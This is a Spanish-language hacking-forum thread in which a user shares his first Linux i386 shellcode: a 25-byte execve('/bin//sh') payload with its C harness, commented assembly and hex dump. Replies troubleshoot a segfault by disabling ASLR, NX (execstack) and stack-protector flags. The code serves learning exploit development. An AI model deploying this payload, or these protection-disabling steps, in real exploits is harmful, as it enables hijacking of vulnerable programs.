¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes

Iniciado por Garfield07, 4 Enero 2011, 12:59 PM

0 Miembros y 2 Visitantes están viendo este tema.

Garfield07

Bueno, acabo de conseguir que mi pezqueñina empiece a funcionar... Como Rojodos, yo comparto mi alegria jaja  ;-) ;-) ;-)

#include <stdio.h>
#include <string.h>

char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
(*(void(*)()) code)();
return 0;
}


Código (asm) [Seleccionar]

BITS 32
; excve ()

xor eax, eax ; Ponemos EAX a cero para bytes nulos
push eax ; Metemos los ceros en la pila
push 0x68732f2f ; Metemos "//sh". La segunda barra no importa. Además alinea.
push 0x6e69622f ; Metemos "/bin". Alineados en la pila
mov ebx, esp ; Metemos la direccion en EBX
push eax ; Mas bytes nulos ...
mov edx, esp ; ... para el entorno de 3º argumento
push ebx ; Metemos la direccion de la cadena en la pila
mov ecx, esp ; Y se la pasamos como direccion
mov al, 11 ; excve = syscall 11
int 0x80 ; Ejecutamos


00000000  31 c0 50 68 2f 2f 73 68  68 2f 62 69 6e 89 e3 50  |1.Ph//shh/bin..P|
00000010  89 e2 53 89 e1 b0 0b cd  80                       |..S......|
00000019


Quiero agradecerle a todos que me hayan ayudado a crearla, con pequeñas ayudas, tanto en el foro de ASM, como en el de C.
Especialmente se lo agradezco a Eternal Idol, que fue el que estuvo echandome una mano en mi primer programa, y en mi primera shellcode, y el que me ayudo en mis comienzos tanto en C como en ASM
Cito tambien el libro "Hacking. Técnicas fundamentales" y a su autor, Jon Erikson, sin los que no habria podido empezar, y recomiendo la lectura del libro [Me han mandado PMs para saber donde comprarlo. Lo siento, lo tengo de la biblioteca, pero lo podeis comprar jaja]
Os doy las gracias a todos los staffs por el gran trabajo que haceis, y a la comunidad en total, por echarme una manita tambien.

Disfrutad de la shellcode y muchas gracias !


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

leucocito


..::NexuS::..

Visita mi SpamBot , version beta y ayudame a mejorarlo ^.^ http://foro.elhacker.net/chats_irc_y_messengers/el_hackernet_spambot_beta-t315840.0.html

Garfield07

Muchas gracias por tu apoyo leucocito. Si que seguire ;)
Bueno, una shellcode es un codigo que se usa para controlar una aplicación una vez sabes como explotar un bug. Por ejemplo, es donde se manda el programa al sobreescribir el ret.

Muchas gracias por vuestro apoyo!


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

SnakingMax


Enhorabuena Sagrini me alegro de que al final lo hayas conseguido ^.^

Yo no consigo correr ninguna shellcode en mi equipo. Por ejemplo al tratar de probar la tuya me salta "Fallo de segmentación":

#include <stdio.h>
#include <string.h>

char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
(*(void(*)()) code)();
return 0;
}


Cita de: Terminalsnakingmax@thebigbrother:~/Escritorio/sc$ gcc -g -static -o shellcode shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ls
shellcode  shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ./shellcode
TinShell V1.0 : By Sagrini : 25 bytes
Fallo de segmentación

snakingmax@thebigbrother:~/Escritorio/sc$

He puesto a cero /proc/sys/kernel/randomize_va_space
Datos de mi distro:
DISTRIB_RELEASE=10.04
DISTRIB_CODENAME=lucid
DISTRIB_DESCRIPTION="Ubuntu 10.04.1 LTS"
Versión del compilador: gcc-4.4

Si podeis orientarme en qué puede estar pasando de agradece.
Saludos

..::NexuS::..

Cita de: Sagrini en  4 Enero 2011, 15:14 PM
Muchas gracias por tu apoyo leucocito. Si que seguire ;)
Bueno, una shellcode es un codigo que se usa para controlar una aplicación una vez sabes como explotar un bug. Por ejemplo, es donde se manda el programa al sobreescribir el ret.

Muchas gracias por vuestro apoyo!

Gracias por la aclaracion  :)
Visita mi SpamBot , version beta y ayudame a mejorarlo ^.^ http://foro.elhacker.net/chats_irc_y_messengers/el_hackernet_spambot_beta-t315840.0.html

Garfield07

De nadas Nexus todo por el conocimiento xD jajaja
Gracias Snaking. Ahora me meto el live cd con lo que me has dixo... si lo encuentro jaja.
Bueno, reinicio y digo que pasa...
[PD: No es por el argumento -static. A mi me corre con el. Reiniciando...]


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

SnakingMax

Cita de: Terminal
snakingmax@thebigbrother:~/Escritorio/sc$ gcc -g -static -o shellcode shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ls
shellcode  shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ./shellcode
TinShell V1.0 : By Sagrini : 25 bytes
Fallo de segmentación

snakingmax@thebigbrother:~/Escritorio/sc$

Me autorespondo:
Tenía la Protección NX activada. Para desactivarla solamente para ese ejecutable hice esto:
snakingmax@thebigbrother:~/Escritorio/sc$ execstack -s shellcode

Saludos

M3st4ng

Hola!

Intenta compilar el código con estos parámetros:


gcc -g -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb ejemplo.c


Yo he tenido muchos problemas por todo el tema de las protecciónes.

SnakingMax

#9
Cita de: M3st4ng en  4 Enero 2011, 16:57 PM
Hola!

Intenta compilar el código con estos parámetros:


gcc -g -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb ejemplo.c


Yo he tenido muchos problemas por todo el tema de las protecciónes.
Gracuas por la ayuda M3st4ng, lo he solucionado despues de compilarlo con execstack -s shellcode.

Cita de: Sagrini en  4 Enero 2011, 16:45 PM
Bueno yo me acabo de acordar de que le deje el disco a mi padre xD asi k menos mal... Google?  :silbar:
Google si. Supuse que tenía alguna protección activada.
Para probar tu S.C. puse a cero /proc/sys/kernel/randomize_va_space y me extrañó que no funcionase, luego probé otras shellcodes que ya había corrido otras veces y seguían sin funcionar.

Saludos